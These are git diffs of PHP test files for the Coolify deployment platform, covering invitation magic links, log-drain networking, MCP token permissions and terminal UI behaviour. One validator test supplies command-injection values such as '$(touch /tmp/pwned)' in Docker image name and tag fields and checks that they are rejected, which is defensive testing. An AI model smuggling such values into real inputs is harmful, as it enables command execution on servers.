||||
|
||||
$database = StandaloneRedis::create([
|
||||
'name' => 'test-redis',
|
||||
'image' => 'redis:7',
|
||||
'redis_password' => 'password',
|
||||
'redis_username' => 'default',
|
||||
'status' => 'exited:unhealthy',
|
||||
'enable_ssl' => true,
|
||||
'is_log_drain_enabled' => false,
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$component = Livewire::test(RedisStatusInfo::class, ['database' => $database])
|
||||
->assertDontSee('Database should be stopped to change this settings.');
|
||||
|
||||
$database->fill(['status' => 'running:healthy'])->save();
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Middleware\CheckForcePasswordReset;
|
||||
use App\Http\Middleware\DecideWhatToDoWithUser;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Team;
|
||||
use App\Models\TeamInvitation;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Config;
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Illuminate\Support\Once;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
|
||||
Once::flush();
|
||||
Config::set('app.maintenance.driver', 'file');
|
||||
Config::set('cache.default', 'array');
|
||||
Config::set('session.driver', 'array');
|
||||
|
||||
if (! InstanceSettings::find(0)) {
|
||||
$settings = new InstanceSettings;
|
||||
$settings->id = 0;
|
||||
$settings->saveQuietly();
|
||||
}
|
||||
});
|
||||
|
||||
function createInvitationLinkFixture(array $invitationAttributes = []): array
|
||||
{
|
||||
$team = Team::factory()->create();
|
||||
$password = 'temporary-password-123';
|
||||
$user = User::factory()->create([
|
||||
'email' => $invitationAttributes['email'] ?? 'invitee@example.com',
|
||||
'password' => Hash::make($password),
|
||||
'force_password_reset' => true,
|
||||
'email_verified_at' => null,
|
||||
]);
|
||||
$uuid = (string) new Cuid2(32);
|
||||
$token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}");
|
||||
$link = route('auth.link', ['token' => $token]);
|
||||
|
||||
$invitation = TeamInvitation::create(array_merge([
|
||||
'team_id' => $team->id,
|
||||
'uuid' => $uuid,
|
||||
'email' => $user->email,
|
||||
'role' => 'member',
|
||||
'link' => $link,
|
||||
'via' => 'link',
|
||||
], $invitationAttributes));
|
||||
|
||||
return [$team, $user, $password, $token, $invitation];
|
||||
}
|
||||
|
||||
it('accepts a valid magic link invitation only once and rotates the temporary password', function () {
|
||||
[$team, $user, $password, $token] = createInvitationLinkFixture();
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]))
|
||||
->assertRedirect(route('dashboard'));
|
||||
|
||||
$this->assertAuthenticatedAs($user);
|
||||
$this->assertDatabaseMissing('team_invitations', ['email' => $user->email]);
|
||||
expect($user->teams()->where('team_id', $team->id)->exists())->toBeTrue();
|
||||
|
||||
$user->refresh();
|
||||
expect(Hash::check($password, $user->password))->toBeFalse();
|
||||
|
||||
auth()->logout();
|
||||
session()->flush();
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]))
|
||||
->assertRedirect(route('login'));
|
||||
|
||||
$this->assertGuest();
|
||||
});
|
||||
|
||||
it('rejects a magic link when the invitation was revoked', function () {
|
||||
[, $user, , $token, $invitation] = createInvitationLinkFixture();
|
||||
$invitation->delete();
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]))
|
||||
->assertRedirect(route('login'));
|
||||
|
||||
$this->assertGuest();
|
||||
expect($user->teams()->where('personal_team', false)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects a magic link when another invitation exists for the same email', function () {
|
||||
[, $user, , $token, $invitation] = createInvitationLinkFixture();
|
||||
$invitation->delete();
|
||||
|
||||
$otherTeam = Team::factory()->create();
|
||||
TeamInvitation::create([
|
||||
'team_id' => $otherTeam->id,
|
||||
'uuid' => (string) new Cuid2(32),
|
||||
'email' => $user->email,
|
||||
'role' => 'admin',
|
||||
'link' => url('/invitations/other-invitation'),
|
||||
'via' => 'link',
|
||||
]);
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]))
|
||||
->assertRedirect(route('login'));
|
||||
|
||||
$this->assertGuest();
|
||||
expect($user->teams()->where('team_id', $otherTeam->id)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects a magic link when the invitation expired', function () {
|
||||
[, $user, , $token, $invitation] = createInvitationLinkFixture();
|
||||
$invitation->forceFill([
|
||||
'created_at' => now()->subDays(config('constants.invitation.link.expiration_days') + 1),
|
||||
'updated_at' => now()->subDays(config('constants.invitation.link.expiration_days') + 1),
|
||||
])->save();
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]))
|
||||
->assertRedirect(route('login'));
|
||||
|
||||
$this->assertGuest();
|
||||
$this->assertDatabaseMissing('team_invitations', ['id' => $invitation->id]);
|
||||
});
|
||||
|
||||
it('rejects a malformed magic link token', function () {
|
||||
$this->get(route('auth.link', ['token' => 'not-a-valid-token']))
|
||||
->assertRedirect(route('login'));
|
||||
|
||||
$this->assertGuest();
|
||||
});
|
||||
@@ -4,8 +4,10 @@ use App\Http\Middleware\CheckForcePasswordReset;
|
||||
use App\Http\Middleware\DecideWhatToDoWithUser;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Team;
|
||||
use App\Models\TeamInvitation;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Config;
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Illuminate\Support\Once;
|
||||
@@ -15,6 +17,10 @@ uses(RefreshDatabase::class);
|
||||
beforeEach(function () {
|
||||
$this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
|
||||
Once::flush();
|
||||
Config::set('app.maintenance.driver', 'file');
|
||||
Config::set('cache.default', 'array');
|
||||
Config::set('session.driver', 'array');
|
||||
|
||||
if (! InstanceSettings::find(0)) {
|
||||
$settings = new InstanceSettings;
|
||||
$settings->id = 0;
|
||||
@@ -33,7 +39,16 @@ describe('invitation link login', function () {
|
||||
]);
|
||||
$user->teams()->attach($team->id, ['role' => 'member']);
|
||||
|
||||
$token = Crypt::encryptString("{$user->email}@@@{$password}");
|
||||
$uuid = 'email-verification-test-invitation';
|
||||
$token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}");
|
||||
TeamInvitation::create([
|
||||
'team_id' => $team->id,
|
||||
'uuid' => $uuid,
|
||||
'email' => $user->email,
|
||||
'role' => 'member',
|
||||
'link' => route('auth.link', ['token' => $token]),
|
||||
'via' => 'link',
|
||||
]);
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]));
|
||||
|
||||
@@ -51,9 +66,19 @@ describe('invitation link login', function () {
|
||||
]);
|
||||
$user->teams()->attach($team->id, ['role' => 'member']);
|
||||
|
||||
$token = Crypt::encryptString("{$user->email}@@@{$password}");
|
||||
$uuid = 'email-verification-login-test-invitation';
|
||||
$token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}");
|
||||
TeamInvitation::create([
|
||||
'team_id' => $team->id,
|
||||
'uuid' => $uuid,
|
||||
'email' => $user->email,
|
||||
'role' => 'member',
|
||||
'link' => route('auth.link', ['token' => $token]),
|
||||
'via' => 'link',
|
||||
]);
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]));
|
||||
$this->get(route('auth.link', ['token' => $token]))
|
||||
->assertRedirect(route('dashboard'));
|
||||
|
||||
expect(auth()->id())->toBe($user->id);
|
||||
});
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\General;
|
||||
|
||||
it('uses safe docker registry image validation rules in the application general form', function () {
|
||||
$component = new General;
|
||||
$method = new ReflectionMethod($component, 'rules');
|
||||
$rules = $method->invoke($component);
|
||||
|
||||
$validator = validator([
|
||||
'dockerRegistryImageName' => 'coolify/poc$(touch /tmp/pwned)',
|
||||
'dockerRegistryImageTag' => 'latest$(touch /tmp/pwned)',
|
||||
], [
|
||||
'dockerRegistryImageName' => $rules['dockerRegistryImageName'],
|
||||
'dockerRegistryImageTag' => $rules['dockerRegistryImageTag'],
|
||||
]);
|
||||
|
||||
expect($validator->fails())->toBeTrue()
|
||||
->and($validator->errors()->has('dockerRegistryImageName'))->toBeTrue()
|
||||
->and($validator->errors()->has('dockerRegistryImageTag'))->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,97 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Server\StartLogDrain;
|
||||
use App\Actions\Service\StartService;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
function reflectedLogDrainNetworkCommands(object $action, Server|Service $model): array
|
||||
{
|
||||
$method = new ReflectionMethod($action, 'logDrainNetworkConnectCommands');
|
||||
$method->setAccessible(true);
|
||||
|
||||
return $method->invoke($action, $model);
|
||||
}
|
||||
|
||||
function createServerWithTeam(): Server
|
||||
{
|
||||
$team = Team::factory()->create();
|
||||
|
||||
return Server::factory()->create(['team_id' => $team->id]);
|
||||
}
|
||||
|
||||
function createServiceOnServer(Server $server, string $network, bool $connectToDockerNetwork = true): Service
|
||||
{
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
$destination = StandaloneDocker::query()->firstOrCreate(
|
||||
['server_id' => $server->id, 'network' => $network],
|
||||
['uuid' => fake()->uuid(), 'name' => fake()->unique()->word()]
|
||||
);
|
||||
|
||||
return Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'connect_to_docker_network' => $connectToDockerNetwork,
|
||||
'docker_compose' => "services:\n signoz:\n image: signoz/signoz:latest\n",
|
||||
]);
|
||||
}
|
||||
|
||||
it('connects the log drain container to a service preferred network when the server log drain is enabled', function () {
|
||||
$server = createServerWithTeam();
|
||||
$server->settings()->update(['is_logdrain_custom_enabled' => true]);
|
||||
$service = createServiceOnServer($server, 'signoz-net', true);
|
||||
|
||||
$commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings']));
|
||||
|
||||
expect($commands)->toContain("docker network connect 'signoz-net' coolify-log-drain >/dev/null 2>&1 || true");
|
||||
});
|
||||
|
||||
it('does not connect the log drain container when service preferred network is disabled', function () {
|
||||
$server = createServerWithTeam();
|
||||
$server->settings()->update(['is_logdrain_custom_enabled' => true]);
|
||||
$service = createServiceOnServer($server, 'signoz-net', false);
|
||||
|
||||
$commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings']));
|
||||
|
||||
expect($commands)->toBeEmpty();
|
||||
});
|
||||
|
||||
it('does not connect the log drain container when the server log drain is disabled', function () {
|
||||
$server = createServerWithTeam();
|
||||
$service = createServiceOnServer($server, 'signoz-net', true);
|
||||
|
||||
$commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings']));
|
||||
|
||||
expect($commands)->toBeEmpty();
|
||||
});
|
||||
|
||||
it('connects a restarted log drain container to all enabled service preferred networks on the server', function () {
|
||||
$server = createServerWithTeam();
|
||||
$server->settings()->update(['is_logdrain_custom_enabled' => true]);
|
||||
createServiceOnServer($server, 'signoz-net', true);
|
||||
createServiceOnServer($server, 'ignored-net', false);
|
||||
createServiceOnServer($server, 'signoz-net', true);
|
||||
|
||||
$otherServer = createServerWithTeam();
|
||||
createServiceOnServer($otherServer, 'other-server-net', true);
|
||||
|
||||
$commands = reflectedLogDrainNetworkCommands(new StartLogDrain, $server->fresh(['settings']));
|
||||
|
||||
expect($commands)
|
||||
->toContain("docker network connect 'signoz-net' coolify-log-drain >/dev/null 2>&1 || true")
|
||||
->not->toContain("docker network connect 'ignored-net' coolify-log-drain >/dev/null 2>&1 || true")
|
||||
->not->toContain("docker network connect 'other-server-net' coolify-log-drain >/dev/null 2>&1 || true");
|
||||
|
||||
expect($commands)->toHaveCount(1);
|
||||
});
|
||||
@@ -192,3 +192,14 @@ test('tool calls fail when the token lacks the read ability', function () {
|
||||
expect($response->json('result.isError'))->toBeTrue();
|
||||
expect($response->json('result.content.0.text'))->toContain('Missing required permissions');
|
||||
});
|
||||
|
||||
test('MCP rejects token when user no longer belongs to token team', function () {
|
||||
Project::create(['name' => 'Hidden', 'team_id' => $this->team->id]);
|
||||
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
|
||||
|
||||
$this->team->members()->detach($this->user->id);
|
||||
|
||||
$response = mcpCallTool($token, 'list_projects');
|
||||
|
||||
$response->assertUnauthorized();
|
||||
});
|
||||
@@ -0,0 +1,16 @@
|
||||
<?php
|
||||
|
||||
it('strips leftover x-cloak after wire:navigate to prevent blank page', function () {
|
||||
$appJs = file_get_contents(resource_path('js/app.js'));
|
||||
|
||||
expect($appJs)
|
||||
->toContain("document.addEventListener('livewire:navigated'")
|
||||
->toContain("querySelectorAll('[x-cloak]')")
|
||||
->toContain("removeAttribute('x-cloak')");
|
||||
});
|
||||
|
||||
it('keeps the initial-load x-cloak guard on the app wrapper', function () {
|
||||
$layout = file_get_contents(resource_path('views/layouts/app.blade.php'));
|
||||
|
||||
expect($layout)->toContain('x-cloak');
|
||||
});
|
||||
@@ -21,6 +21,12 @@ it('renders password input with Alpine-managed visibility state', function () {
|
||||
->not->toContain('changePasswordFieldType');
|
||||
});
|
||||
|
||||
it('renders password input before visibility toggle in tab order', function () {
|
||||
$html = Blade::render('<x-forms.input type="password" id="secret" />');
|
||||
|
||||
expect(strpos($html, '<input'))->toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"'));
|
||||
});
|
||||
|
||||
it('renders password textarea with Alpine-managed visibility state', function () {
|
||||
$html = Blade::render('<x-forms.textarea type="password" id="secret" />');
|
||||
|
||||
@@ -31,6 +37,12 @@ it('renders password textarea with Alpine-managed visibility state', function ()
|
||||
->not->toContain('changePasswordFieldType');
|
||||
});
|
||||
|
||||
it('renders password textarea input before visibility toggle in tab order', function () {
|
||||
$html = Blade::render('<x-forms.textarea type="password" id="secret" />');
|
||||
|
||||
expect(strpos($html, '<input'))->toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"'));
|
||||
});
|
||||
|
||||
it('renders textarea without monospace classes by default', function () {
|
||||
$html = Blade::render('<x-forms.textarea id="notes" />');
|
||||
|
||||
@@ -53,3 +65,9 @@ it('resets password visibility on success event for env-var-input', function ()
|
||||
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
|
||||
->toContain('x-bind:type="type"');
|
||||
});
|
||||
|
||||
it('renders env var password input before visibility toggle in tab order', function () {
|
||||
$html = Blade::render('<x-forms.env-var-input type="password" id="secret" />');
|
||||
|
||||
expect(strpos($html, '<input'))->toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"'));
|
||||
});
|
||||
@@ -0,0 +1,43 @@
|
||||
<?php
|
||||
|
||||
it('adds profile navigation with an appearance tab and route', function () {
|
||||
$routes = file_get_contents(base_path('routes/web.php'));
|
||||
$profileNavbar = file_get_contents(resource_path('views/components/profile/navbar.blade.php'));
|
||||
$profileView = file_get_contents(resource_path('views/livewire/profile/index.blade.php'));
|
||||
|
||||
expect($routes)
|
||||
->toContain("Route::get('/profile/appearance', ProfileAppearance::class)->name('profile.appearance')")
|
||||
->and($profileNavbar)
|
||||
->toContain('route(\'profile\')')
|
||||
->toContain('route(\'profile.appearance\')')
|
||||
->toContain('General')
|
||||
->toContain('Appearance')
|
||||
->and($profileView)
|
||||
->toContain('<x-profile.navbar />')
|
||||
->not->toContain('<h1>Profile</h1>\n <div class="subtitle -mt-2">');
|
||||
});
|
||||
|
||||
it('moves appearance preferences to the profile appearance view', function () {
|
||||
$appearanceView = file_get_contents(resource_path('views/livewire/profile/appearance.blade.php'));
|
||||
|
||||
expect($appearanceView)
|
||||
->toContain('<x-profile.navbar />')
|
||||
->toContain("setTheme('light')")
|
||||
->toContain("setTheme('system')")
|
||||
->toContain("setTheme('dark')")
|
||||
->toContain("setWidth('center')")
|
||||
->toContain("setWidth('full')")
|
||||
->toContain("setZoom('100')")
|
||||
->toContain("setZoom('90')")
|
||||
->toContain('aria-label="Use light theme"')
|
||||
->toContain('aria-label="Use system theme"')
|
||||
->toContain('aria-label="Use dark theme"')
|
||||
->toContain('aria-label="Use centered width"')
|
||||
->toContain('aria-label="Use full width"')
|
||||
->toContain('aria-label="Use 100 percent zoom"')
|
||||
->toContain('aria-label="Use 90 percent zoom"')
|
||||
->toContain('max-w-2xl')
|
||||
->toContain('class="space-y-1.5"')
|
||||
->toContain('gap-1.5')
|
||||
->toContain('px-2 py-1 text-sm');
|
||||
});
|
||||
@@ -24,11 +24,12 @@ it('keeps terminal browser logging restricted to Vite development mode', functio
|
||||
->not->toContain("console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');");
|
||||
});
|
||||
|
||||
it('keeps realtime terminal server logging restricted to development environments', function () {
|
||||
it('keeps realtime terminal server logging behind the explicit debug flag', function () {
|
||||
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
|
||||
|
||||
expect($terminalServer)
|
||||
->toContain("const terminalDebugEnabled = ['local', 'development'].includes(")
|
||||
->toContain('const debugOverride = String(process.env.TERMINAL_DEBUG')
|
||||
->toContain("['1', 'true', 'yes', 'on'].includes(debugOverride)")
|
||||
->toContain('if (!terminalDebugEnabled) {')
|
||||
->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');");
|
||||
});
|
||||
@@ -58,22 +59,45 @@ it('uses a fast probe timeout when the tab regains visibility', function () {
|
||||
->toContain("'Visibility-resume timeout'");
|
||||
});
|
||||
|
||||
it('closes idle terminal sessions after 30 minutes on the server', function () {
|
||||
it('does not hard close terminal sessions after 30 minutes on the server', function () {
|
||||
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
|
||||
|
||||
expect($terminalServer)
|
||||
->toContain('IDLE_TIMEOUT_MS = 30 * 60 * 1000')
|
||||
->toContain('lastActivityAt')
|
||||
->toContain("ws.send('idle-timeout');")
|
||||
->toContain("ws.close(1000, 'Idle timeout');");
|
||||
->not->toContain('IDLE_TIMEOUT_MS = 30 * 60 * 1000')
|
||||
->not->toContain("ws.send('idle-timeout');")
|
||||
->not->toContain("ws.close(1000, 'Idle timeout');");
|
||||
});
|
||||
|
||||
it('reacts to idle-timeout sentinel on the client and shows a user-facing error', function () {
|
||||
it('does not close the client terminal from an idle-timeout sentinel', function () {
|
||||
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->toContain("event.data === 'idle-timeout'")
|
||||
->toContain('Terminal closed after 30 minutes of inactivity.');
|
||||
->not->toContain("event.data === 'idle-timeout'")
|
||||
->not->toContain('Terminal closed after 30 minutes of inactivity.');
|
||||
});
|
||||
|
||||
it('keeps Livewire alive in background tabs while a terminal is connected', function () {
|
||||
$terminalComponent = file_get_contents(base_path('app/Livewire/Project/Shared/Terminal.php'));
|
||||
$terminalView = file_get_contents(base_path('resources/views/livewire/project/shared/terminal.blade.php'));
|
||||
|
||||
expect($terminalComponent)
|
||||
->toContain('public bool $isTerminalConnected = false;')
|
||||
->toContain("#[On('terminalConnected')]")
|
||||
->toContain('public function markTerminalConnected(): void')
|
||||
->toContain('public function keepTerminalPageAlive(): void')
|
||||
->and($terminalView)
|
||||
->toContain('@if ($isTerminalConnected)')
|
||||
->toContain('wire:poll.keep-alive.30s="keepTerminalPageAlive"');
|
||||
});
|
||||
|
||||
it('exits fullscreen when the terminal process exits', function () {
|
||||
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->toContain("event.data === 'pty-exited'")
|
||||
->toContain('this.fullscreen = false;
|
||||
this.mobileToolbarCollapsed = false;
|
||||
this.terminalActive = false;');
|
||||
});
|
||||
|
||||
it('replays the last command on reconnect so the PTY respawns automatically', function () {
|
||||
@@ -104,3 +128,91 @@ it('preserves terminal scrollback across transient reconnects', function () {
|
||||
// resetTerminal must NOT call term.reset()/term.clear() any more — those wipe scrollback.
|
||||
->not->toContain("this.term.reset();\n this.term.clear();");
|
||||
});
|
||||
|
||||
it('renders a compact mobile terminal toolbar with shell control keys', function () {
|
||||
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
|
||||
$appCss = file_get_contents(resource_path('css/app.css'));
|
||||
|
||||
expect($terminalView)
|
||||
->toContain('Terminal keys')
|
||||
->toContain('sm:hidden')
|
||||
->toContain("sendTerminalControl('arrowUp')")
|
||||
->toContain("sendTerminalControl('arrowDown')")
|
||||
->toContain("sendTerminalControl('arrowLeft')")
|
||||
->toContain("sendTerminalControl('arrowRight')")
|
||||
->toContain("sendTerminalControl('tab')")
|
||||
->toContain("sendTerminalControl('escape')")
|
||||
->not->toContain("sendTerminalControl('ctrlC')")
|
||||
->not->toContain('pasteFromClipboard()')
|
||||
->not->toContain('copyTerminalSelection()')
|
||||
->toContain('mobileToolbarCollapsed')
|
||||
->toContain("fullscreen ? 'absolute inset-x-0 bottom-0 z-[9999] px-2 pb-2' : 'relative mt-2'")
|
||||
->toContain('data-terminal-mobile-toolbar')
|
||||
->and($appCss)
|
||||
->toContain('.terminal-mobile-key');
|
||||
});
|
||||
|
||||
it('sends terminal mobile toolbar controls through the websocket', function () {
|
||||
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->toContain('sendTerminalInput(data)')
|
||||
->toContain('sendTerminalControl(sequence)')
|
||||
->toContain("arrowUp: '\\x1b[A'")
|
||||
->toContain("arrowDown: '\\x1b[B'")
|
||||
->toContain("arrowRight: '\\x1b[C'")
|
||||
->toContain("arrowLeft: '\\x1b[D'")
|
||||
->toContain("tab: '\\t'")
|
||||
->toContain("escape: '\\x1b'")
|
||||
->toContain("ctrlC: '\\x03'")
|
||||
->toContain('navigator.clipboard.readText()')
|
||||
->toContain('navigator.clipboard.writeText(selection)');
|
||||
});
|
||||
|
||||
it('uses terminal dimensions when resizing so mobile controls do not cover terminal rows', function () {
|
||||
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->toContain("document.getElementById('terminal')")
|
||||
->toContain('terminalHeight')
|
||||
->toContain('terminalWidth')
|
||||
->not->toContain('const wrapperHeight = this.$refs.terminalWrapper.clientHeight;');
|
||||
});
|
||||
|
||||
it('uses simple fullscreen bottom margin based on mobile toolbar visibility', function () {
|
||||
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
|
||||
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
|
||||
|
||||
expect($terminalClient)
|
||||
->not->toContain('updateFullscreenLayout()')
|
||||
->not->toContain('terminalFullscreenHeight')
|
||||
->not->toContain('window.visualViewport?.height')
|
||||
->and($terminalView)
|
||||
->toContain("mobileToolbarCollapsed ? 'h-[calc(100dvh-3.5rem)] mb-14 px-2 py-1 bg-black' : 'h-[calc(100dvh-6rem)] mb-[6rem] px-2 py-1 bg-black'")
|
||||
->toContain("fullscreen ? 'absolute inset-x-0 bottom-0 z-[9999] px-2 pb-2'");
|
||||
});
|
||||
|
||||
it('resizes after toggling the mobile terminal toolbar', function () {
|
||||
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
|
||||
|
||||
expect($terminalView)
|
||||
->toContain('$nextTick(() => resizeTerminal())');
|
||||
});
|
||||
|
||||
it('uses fixed viewport positioning for fullscreen terminal instead of inherited container size', function () {
|
||||
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
|
||||
|
||||
expect($terminalView)
|
||||
->toContain('fixed inset-0')
|
||||
->toContain('h-[100dvh]')
|
||||
->toContain('w-screen')
|
||||
->toContain('max-w-none')
|
||||
->toContain('overflow-hidden');
|
||||
});
|
||||
|
||||
it('constrains normal terminal height after leaving fullscreen', function () {
|
||||
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
|
||||
|
||||
expect($terminalView)
|
||||
->toContain('h-[510px] max-h-[calc(100dvh-10rem)] overflow-hidden');
|
||||
});
|
||||
@@ -21,6 +21,18 @@ it('schedules RegenerateSslCertJob with onOneServer to prevent multi-server doub
|
||||
expect($event->onOneServer)->toBeTrue();
|
||||
});
|
||||
|
||||
it('schedules ssh mux cleanup locally on every scheduler host', function () {
|
||||
$schedule = app(Schedule::class);
|
||||
|
||||
$event = collect($schedule->events())->first(
|
||||
fn ($e) => (string) $e->description === 'cleanup:ssh-mux'
|
||||
);
|
||||
|
||||
expect($event)->not->toBeNull();
|
||||
expect($event->onOneServer)->toBeFalse();
|
||||
expect($event->getSummaryForDisplay())->toBe('cleanup:ssh-mux');
|
||||
});
|
||||
|
||||
it('schedules every production job with onOneServer', function () {
|
||||
$schedule = app(Schedule::class);
|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\SettingsDropdown;
|
||||
use App\Models\User;
|
||||
use App\Services\ChangelogService;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Collection;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
use Livewire\Livewire;
|
||||
|
||||
it('renders the changelog modal above the desktop sidebar toggle', function () {
|
||||
$user = new User(['email' => 'test@example.com']);
|
||||
$user->id = 1;
|
||||
|
||||
Auth::setUser($user);
|
||||
|
||||
app()->instance(ChangelogService::class, new class extends ChangelogService
|
||||
{
|
||||
public function getEntriesForUser(User $user): Collection
|
||||
{
|
||||
return collect([
|
||||
(object) [
|
||||
'tag_name' => 'v1.0.0',
|
||||
'title' => 'Test Release',
|
||||
'content' => 'Release notes',
|
||||
'content_html' => '<p>Release notes</p>',
|
||||
'published_at' => Carbon::parse('2026-05-01'),
|
||||
'is_read' => false,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function getUnreadCountForUser(User $user): int
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
});
|
||||
|
||||
Livewire::test(SettingsDropdown::class, ['trigger' => 'changelog-sidebar'])
|
||||
->call('openWhatsNewModal')
|
||||
->assertSee('Changelog')
|
||||
->assertSee('z-[60]', false)
|
||||
->assertSee('closeWhatsNewModal', false);
|
||||
});
|
||||
@@ -0,0 +1,19 @@
|
||||
<?php
|
||||
|
||||
it('initializes persisted sidebar state before enabling layout transitions', function () {
|
||||
$layout = file_get_contents(resource_path('views/layouts/app.blade.php'));
|
||||
|
||||
expect($layout)
|
||||
->toContain("collapsed: localStorage.getItem('sidebarCollapsed') === 'true'")
|
||||
->toContain('sidebarReady: false')
|
||||
->toContain(":class=\"[collapsed ? 'lg:w-16' : 'lg:w-56', sidebarReady ? 'transition-[width] duration-200' : '']\"")
|
||||
->toContain(":class=\"[collapsed ? 'lg:pl-[6rem]' : 'lg:pl-[16rem]', sidebarReady ? 'transition-[padding] duration-200' : '']\"");
|
||||
});
|
||||
|
||||
it('does not animate navbar padding when restoring collapsed state', function () {
|
||||
$navbar = file_get_contents(resource_path('views/components/navbar.blade.php'));
|
||||
|
||||
expect($navbar)
|
||||
->not->toContain('items-start gap-3 motion-safe:transition-all')
|
||||
->not->toContain('overflow-hidden motion-safe:transition-all');
|
||||
});
|
||||
@@ -0,0 +1,64 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\SettingsDropdown;
|
||||
|
||||
it('keeps changelog and the theme switcher in the sidebar without the old preferences trigger', function () {
|
||||
$navbarView = file_get_contents(resource_path('views/components/navbar.blade.php'));
|
||||
|
||||
expect($navbarView)
|
||||
->toContain('<livewire:settings-dropdown trigger="changelog-sidebar" />')
|
||||
->not->toContain('<livewire:settings-dropdown />')
|
||||
->toContain('aria-label="Theme switcher"')
|
||||
->toContain('aria-label="Use light theme"')
|
||||
->toContain('aria-label="Use system theme"')
|
||||
->toContain('aria-label="Use dark theme"')
|
||||
->toContain('cycleTheme()')
|
||||
->toContain("const themes = ['light', 'system', 'dark'];")
|
||||
->toContain('pl-2 pr-3 items-start gap-3')
|
||||
->toContain('class="flex min-w-0 flex-1 flex-col"')
|
||||
->toContain('class="min-w-0 flex-1"')
|
||||
->toContain('class="flex h-8 w-full items-center justify-between');
|
||||
});
|
||||
|
||||
it('keeps changelog and appearance options out of the preferences dropdown', function () {
|
||||
$dropdownView = file_get_contents(resource_path('views/livewire/settings-dropdown.blade.php'));
|
||||
|
||||
expect($dropdownView)
|
||||
->toContain("\$trigger === 'changelog-sidebar'")
|
||||
->toContain('title="What\'s New"')
|
||||
->toContain('aria-label="What\'s New"')
|
||||
->toContain('wire:click="openWhatsNewModal"')
|
||||
->toContain('class="relative text-left menu-item"')
|
||||
->toContain('class="text-left menu-item-label"')
|
||||
->toContain("What's New</span>")
|
||||
->toContain('M9.813 15.904 9 18.75')
|
||||
->not->toContain('<span>Changelog</span>')
|
||||
->not->toContain('Appearance</div>')
|
||||
->not->toContain("@click=\"setTheme('dark'); dropdownOpen = false\"")
|
||||
